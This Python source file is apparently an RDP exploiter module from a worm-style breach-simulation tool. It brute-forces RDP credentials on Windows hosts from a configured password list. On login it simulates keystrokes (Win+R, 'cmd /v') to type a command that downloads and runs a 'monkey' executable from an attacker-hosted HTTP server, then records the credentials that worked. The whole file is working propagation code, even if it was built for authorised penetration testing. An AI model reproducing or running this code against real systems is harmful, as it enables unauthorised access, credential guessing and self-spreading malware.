import time
import threading
import os.path
import twisted.python.log
import rdpy.core.log as rdpy_log
from rdpy.protocol.rdp import rdp
from twisted.internet import reactor
from rdpy.core.error import RDPSecurityNegoFail
from logging import getLogger
from exploit import HostExploiter
from exploit.tools import HTTPTools
from model import RDP_CMDLINE_HTTP_BITS, RDP_CMDLINE_HTTP_VBS
from model.host import VictimHost
from network.tools import check_port_tcp
from exploit.tools import get_target_monkey
__author__ = 'hoffer'

KEYS_INTERVAL = 0.1
MAX_WAIT_FOR_UPDATE = 120
KEYS_SENDER_SLEEP = 0.01
DOWNLOAD_TIMEOUT = 60
RDP_PORT = 3389
LOG = getLogger(__name__)


def twisted_log_func(*message, **kw):
    if kw.has_key('isError') and kw['isError']:
        error_msg = 'Unknown'
        if kw.has_key('failure'):
            error_msg = kw['failure'].getErrorMessage()
        LOG.error("Error from twisted library: %s" % (error_msg,))
    else:
        LOG.debug("Message from twisted library: %s" % (str(message),))


def rdpy_log_func(message):
    LOG.debug("Message from rdpy library: %s" % (message,))

twisted.python.log.msg = twisted_log_func
rdpy_log._LOG_LEVEL = rdpy_log.Level.ERROR
rdpy_log.log = rdpy_log_func

# thread for twisted reactor, create once.
global g_reactor
g_reactor = threading.Thread(target=reactor.run, args=(False,))


class ScanCodeEvent(object):
    def __init__(self, code, is_pressed=False, is_special=False):
        self.code = code
        self.is_pressed = is_pressed
        self.is_special = is_special


class CharEvent(object):
    def __init__(self, char, is_pressed=False):
        self.char = char
        self.is_pressed = is_pressed


class SleepEvent(object):
    def __init__(self, interval):
        self.interval = interval


class WaitUpdateEvent(object):
    def __init__(self, updates=1):
        self.updates = updates
        pass


def str_to_keys(orig_str):
    result = []
    for c in orig_str:
        result.append(CharEvent(c, True))
        result.append(CharEvent(c, False))
        result.append(WaitUpdateEvent())
    return result


class KeyPressRDPClient(rdp.RDPClientObserver):
    def __init__(self, controller, keys, width, height, addr):
        super(KeyPressRDPClient, self).__init__(controller)
        self._keys = keys
        self._addr = addr
        self._update_lock = threading.Lock()
        self._wait_update = False
        self._keys_thread = threading.Thread(target=self._keysSender)
        self._keys_thread.daemon = True     
        self._width = width
        self._height = height
        self._last_update = 0
        self.closed = False
        self.success = False
        self._wait_for_update = None

    def onUpdate(self, destLeft, destTop, destRight, destBottom, width, height, bitsPerPixel, isCompress, data):
        update_time = time.time()
        self._update_lock.acquire()
        self._last_update = update_time
        self._wait_for_update = False
        self._update_lock.release()

    def _keysSender(self):
        while True:
            
            if self.closed:
                return

            if len(self._keys) == 0:
                reactor.callFromThread(self._controller.close)
                LOG.debug("Closing RDP connection to %s:%s", self._addr.host, self._addr.port)
                return

            key = self._keys[0]

            self._update_lock.acquire()
            time_diff = time.time() - self._last_update
            if type(key) is WaitUpdateEvent:
                self._wait_for_update = True
                self._update_lock.release()
                key.updates -= 1
                if key.updates == 0:
                    self._keys = self._keys[1:]                
            elif time_diff > KEYS_INTERVAL and (not self._wait_for_update or time_diff > MAX_WAIT_FOR_UPDATE):
                    self._wait_for_update = False
                    self._update_lock.release()
                    if type(key) is ScanCodeEvent:
                        reactor.callFromThread(self._controller.sendKeyEventScancode, key.code, key.is_pressed, key.is_special)
                    elif type(key) is CharEvent:
                        reactor.callFromThread(self._controller.sendKeyEventUnicode, ord(key.char), key.is_pressed)
                    elif type(key) is SleepEvent:
                        time.sleep(key.interval)

                    self._keys = self._keys[1:]
            else:
                self._update_lock.release()
                time.sleep(KEYS_SENDER_SLEEP)

    def onReady(self):
        pass

    def onClose(self):
        self.success = len(self._keys) == 0
        self.closed = True

    def onSessionReady(self):
        self._last_update = time.time()
        self._keys_thread.start()


class CMDClientFactory(rdp.ClientFactory):
    def __init__(self, username, password="", domain="", command="", optimized=False, width=666, height=359):
        self._username = username
        self._password = password
        self._domain = domain
        self._keyboard_layout = "en"
        # key sequence: WINKEY+R,cmd /v,Enter,<command>&exit,Enter
        self._keys = [SleepEvent(1),
                      ScanCodeEvent(91, True, True),
                      ScanCodeEvent(19, True),
                      ScanCodeEvent(19, False),
                      ScanCodeEvent(91, False, True), WaitUpdateEvent()] + str_to_keys("cmd /v") + \
                     [WaitUpdateEvent(), ScanCodeEvent(28, True),
                      ScanCodeEvent(28, False), WaitUpdateEvent()] + str_to_keys(command+"&exit") +\
                     [WaitUpdateEvent(), ScanCodeEvent(28, True),
                      ScanCodeEvent(28, False), WaitUpdateEvent()]
        self._optimized = optimized
        self._security = rdp.SecurityLevel.RDP_LEVEL_NLA
        self._nego = True
        self._client = None
        self._width = width
        self._height = height
        self.done_event = threading.Event()
        self.success = False

    def buildObserver(self, controller, addr):
        """
        @summary:  Build RFB observer
                    We use a RDPClient as RDP observer
        @param controller: build factory and needed by observer
        @param addr: destination address
        @return: RDPClientQt
        """

        # create client observer
        self._client = KeyPressRDPClient(controller, self._keys, self._width, self._height, addr)

        controller.setUsername(self._username)
        controller.setPassword(self._password)
        controller.setDomain(self._domain)
        controller.setKeyboardLayout(self._keyboard_layout)
        controller.setHostname(addr.host)
        if self._optimized:
            controller.setPerformanceSession()
        controller.setSecurityLevel(self._security)

        return self._client

    def clientConnectionLost(self, connector, reason):
        # try reconnect with basic RDP security
        if reason.type == RDPSecurityNegoFail and self._nego:
            LOG.debug("RDP Security negotiate failed on %s:%s, starting retry with basic security" %
                      (connector.host, connector.port))
            # stop nego
            self._nego = False
            self._security = rdp.SecurityLevel.RDP_LEVEL_RDP
            connector.connect()
            return

        LOG.debug("RDP connection to %s:%s closed" % (connector.host, connector.port))
        self.success = self._client.success
        self.done_event.set()
        
    def clientConnectionFailed(self, connector, reason):
        LOG.debug("RDP connection to %s:%s failed, with error: %s" %
                  (connector.host, connector.port, reason.getErrorMessage()))
        self.success = False
        self.done_event.set()


class RdpExploiter(HostExploiter):
    _target_os_type = ['windows']

    def __init__(self):
        self._config = __import__('config').WormConfiguration

    def is_os_supported(self, host):
        if host.os.get('type') in self._target_os_type:
            return True

        if not host.os.get('type'):
            is_open,_ = check_port_tcp(host.ip_addr, RDP_PORT)
            if is_open:
                host.os['type'] = 'windows'
                return True
        return False
    
    def exploit_host(self, host, src_path=None):
        global g_reactor
        assert isinstance(host, VictimHost)

        is_open, _ = check_port_tcp(host.ip_addr, RDP_PORT)
        if not is_open:
            LOG.info("RDP port is closed on %r, skipping", host)
            return False

        src_path = src_path or get_target_monkey(host)

        if not src_path:
            LOG.info("Can't find suitable monkey executable for host %r", host)
            return False

        # create server for http download.
        http_path, http_thread = HTTPTools.create_transfer(host, src_path)

        if not http_path:
            LOG.debug("Exploiter RdpGrinder failed, http transfer creation failed.")
            return False

        if self._config.rdp_use_vbs_download:
            command = RDP_CMDLINE_HTTP_VBS % {'monkey_path': self._config.dropper_target_path, 'http_path': http_path}
        else:
            command = RDP_CMDLINE_HTTP_BITS % {'monkey_path': self._config.dropper_target_path, 'http_path': http_path}

        passwords = list(self._config.psexec_passwords[:])
        known_password = host.get_credentials(self._config.psexec_user)
        if known_password is not None:
            if known_password in passwords:
                passwords.remove(known_password)
            passwords.insert(0, known_password)

        if not g_reactor.is_alive():
            g_reactor.daemon = True
            g_reactor.start()            

        exploited = False
        for password in passwords:
            try:
                # run command using rdp.
                LOG.info("Trying rdp logging into victim %r with user %s and password '%s'",
                         host, self._config.psexec_user, password)

                client_factory = CMDClientFactory(self._config.psexec_user, password, "", command)

                reactor.callFromThread(reactor.connectTCP, host.ip_addr, RDP_PORT, client_factory)

                client_factory.done_event.wait()
                
                if client_factory.success:
                    exploited = True
                    host.learn_credentials(self._config.psexec_user, password)
                    break

            except Exception, exc:
                LOG.debug("Error logging into victim %r with user"
                          " %s and password '%s': (%s)", host,
                          self._config.psexec_user, password, exc)
                continue

        http_thread.join(DOWNLOAD_TIMEOUT)
        http_thread.stop()

        if not exploited:
            LOG.debug("Exploiter RdpGrinder failed, rdp failed.")
            return False
        elif http_thread.downloads == 0:       
            LOG.debug("Exploiter RdpGrinder failed, http download failed.")
            return False

        LOG.info("Executed monkey '%s' on remote victim %r",
                 os.path.basename(src_path), host)

        return True